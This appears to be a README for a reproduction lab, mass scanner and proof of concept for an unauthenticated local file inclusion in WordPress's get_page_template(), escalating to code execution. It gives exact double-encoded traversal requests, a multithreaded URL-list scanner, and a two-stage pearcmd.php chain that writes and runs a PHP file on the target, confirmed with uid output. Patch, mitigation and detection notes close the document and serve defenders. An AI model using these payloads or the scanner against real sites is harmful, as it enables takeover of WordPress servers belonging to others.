Reproduction lab + URL-list scanner + PoC for CVE-2026-87902 / GHSA-7hp8-65ch-5whp — WordPress get_page_template() unauthenticated LFI to conditional RCE (WP 4.7.0-7.1.1, fixed 7.1.2). Authorized/defensive testing.
get_page_template() unauthenticated LFI → conditional RCEReproduction lab + URL-list scanner + PoC, built and validated end-to-end against genuine WordPress 7.1.1 (vulnerable) and 7.1.2 (patched) on the Docker lab.
include/require (path traversal → local PHP inclusion)AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)page-* (e.g. — present in Twenty Twelve, Twenty Fourteen, Neve, Hestia, Sydney); (2) for RCE only: a readable and .page-templates/pearcmd.phpregister_argc_argv=Onwp-includes/template.php :: get_page_template() builds a template candidate from the
attacker-controlled pagename query var without validate_file():
// WordPress 7.1.1 (VULNERABLE)
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) { // <-- no validate_file()
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
// WordPress 7.1.2 (PATCHED) — the guard the sibling $template branch already had, + realpath containment
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// plus new _wp_is_template_path_allowed() enforcing the resolved path stays inside a theme root
locate_template() then does file_exists($theme_dir . '/' . $candidate) and includes the hit.
Because the candidate is page-{...}.php, the payload must continue a real theme directory that
begins with page- (e.g. page-templates/) and then climb out with ../ to any readable .php.
Double-encoding is mandatory. get_query_var('pagename') is already single-decoded by PHP, so a
plain ../ makes urldecode($pagename) === $pagename and the vulnerable branch is skipped. A
double-encoded %252e%252e%252f survives the first decode as %2e%2e%2f and is turned into ../
only by the extra urldecode() — which is the bug.
lab/)Genuine releases side-by-side on the Docker host, differing only by the security fix:
| Service | URL (loopback-only) | WordPress | Role |
|---|---|---|---|
wp-vuln | http://127.0.0.1:8091 | 7.1.1 | vulnerable |
wp-patched | http://127.0.0.1:8092 | 7.1.2 | patched control |
db | — | MySQL 8.4 | shared (two databases) |
Base image wordpress:php8.3-apache (which already ships pearcmd.php and register_argc_argv=On),
with the bundled core swapped for the authentic wordpress-7.1.1.zip / 7.1.2.zip. Twenty Fourteen is
activated (real page-templates/), and a page-templates/ fixture is also created in the active theme.
Published page id = 2 (Sample Page).
# on the docker lab host
cd /tmp/cve-2026-87902-lab
./up.sh # build + install both instances (idempotent)
./down.sh # tear down + remove volumes
Ports bind to 127.0.0.1 only — the vulnerable instance is never network-exposed.
poc/cve-2026-87902-scan.py)Python 3, stdlib only (no pip install). Takes a list of URLs and reports which are
vulnerable. The default scan is non-destructive: it includes the read-only core file
wp-links-opml.php and looks for the resulting OPML document — proof the arbitrary-.php inclusion
fired, with no writes and no state change.
# single URL
./cve-2026-87902-scan.py http://target/
# a list of your assets, JSON report, 20 workers
./cve-2026-87902-scan.py -f urls.txt --threads 20 --json report.json
# from stdin, only show vulnerable/possibly rows
cat urls.txt | ./cve-2026-87902-scan.py --stdin -q
<generator> → wp-links-opml.php →
readme.html → /wp-includes/ asset ?ver=)./wp/v2/pages, ?rest_route= fallback, homepage
page-id-N, default page_id=2) — needed so the request resolves to a Page and get_page_template() runs.segment × depth (default segment templates, depths 4,3,5,6,7), send
page_id=<id>&pagename=<double-encoded ../ → wp-links-opml> (POST, to dodge canonical redirect) and
require an HTTP 200 carrying <opml version="1.0"> + a structural secondary marker
(</opml> / <outline / <dateCreated>)..php. If OPML still appears, the OPML is ambient (proxy / cache / feed
app), not our include → downgraded to POSSIBLY. Only a hit whose control is clean is VULNERABLE.Robustness: preserves subdirectory paths (http://host/blog), handles gzip/deflate and odd charsets,
retries a probe once on transport error, discovers/validates page ids (REST → ?rest_route= → homepage
→ defaults), enforces a per-target time budget, and never asserts NOT_VULNERABLE from a low-confidence
version source (asset ?ver= / readme.html) — those degrade to POSSIBLY.
| Verdict | Meaning |
|---|---|
VULNERABLE | OPML oracle fired — LFI confirmed (definitive) |
NOT_VULNERABLE | patched branch version, or version outside 4.7.0–7.1.1 |
POSSIBLY_VULNERABLE | vulnerable/unknown version but oracle silent (likely no page-* theme dir, non-standard layout, or no discoverable page id) — verify manually |
NOT_WORDPRESS / ERROR | no WP indicators / transport failure |
Exit code: 2 if any VULNERABLE, 1 if any POSSIBLY (and no VULNERABLE), else 0.
Useful flags: --segments, --depths, --method {POST,GET,both}, --page-id, --max-pageids,
--max-time (per-target budget), --timeout, --threads, --proxy, --header, --insecure
(TLS off — dev only), --json, --jsonl. For a WordPress-in-subdirectory install, pass the full base
(e.g. https://host/blog); for Bedrock/core-in-wp/ the sweep also tries wp/-prefixed oracle targets.
./cve-2026-87902-scan.py http://target/ --verify-rce --i-have-authorization --page-id 2
Runs the PEAR pearcmd.php chain: the +-split query string carries config-create argv that writes
a quote-free marker .php under /tmp; a second request includes it. Prints the executed marker +
php_uname() + uid. Writes a file on the target → single-target, requires --i-have-authorization,
off by default.
evidence/)| File | What it proves |
|---|---|
manual-validate.sh / ev-lfi.log | OPML oracle fires on 7.1.1 (depth 4, POST and GET), silent on 7.1.2; only depth 4 works; single-encoding fails |
rce-validate.sh / ev-rce.log | full PEAR RCE on 7.1.1 (uid=33 as www-data, depth 7); patched writes no file, executes nothing |
ev-scan-table.log / ev-scan-results.json | scanner over {vuln, patched, non-WP, dead}: VULNERABLE / NOT_VULNERABLE / NOT_WORDPRESS / ERROR |
Proven request shapes:
LFI (detection, non-destructive):
POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml
-> 200 with <opml version="1.0"> in the body (depth 4 = webroot on /var/www/html)
RCE (conditional; register_argc_argv=On + readable pearcmd.php):
Stage 1 POST /?+config-create+/<?=...chr()-built payload...?>+/tmp/x.php
body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd
Stage 2 POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx
-> body contains the executed marker + php_uname() + uid=33
register_argc_argv=Off for the web SAPI and remove/deny pearcmd.php;
this removes the RCE escalation even if the LFI is reachable.pagename containing ..; the co-occurrence of page_id + a pagename beginning templates%252f /
containing %252e%252e on the site root or /index.php is a near-certain exploit signal.Authorized security testing, education, and defensive research only.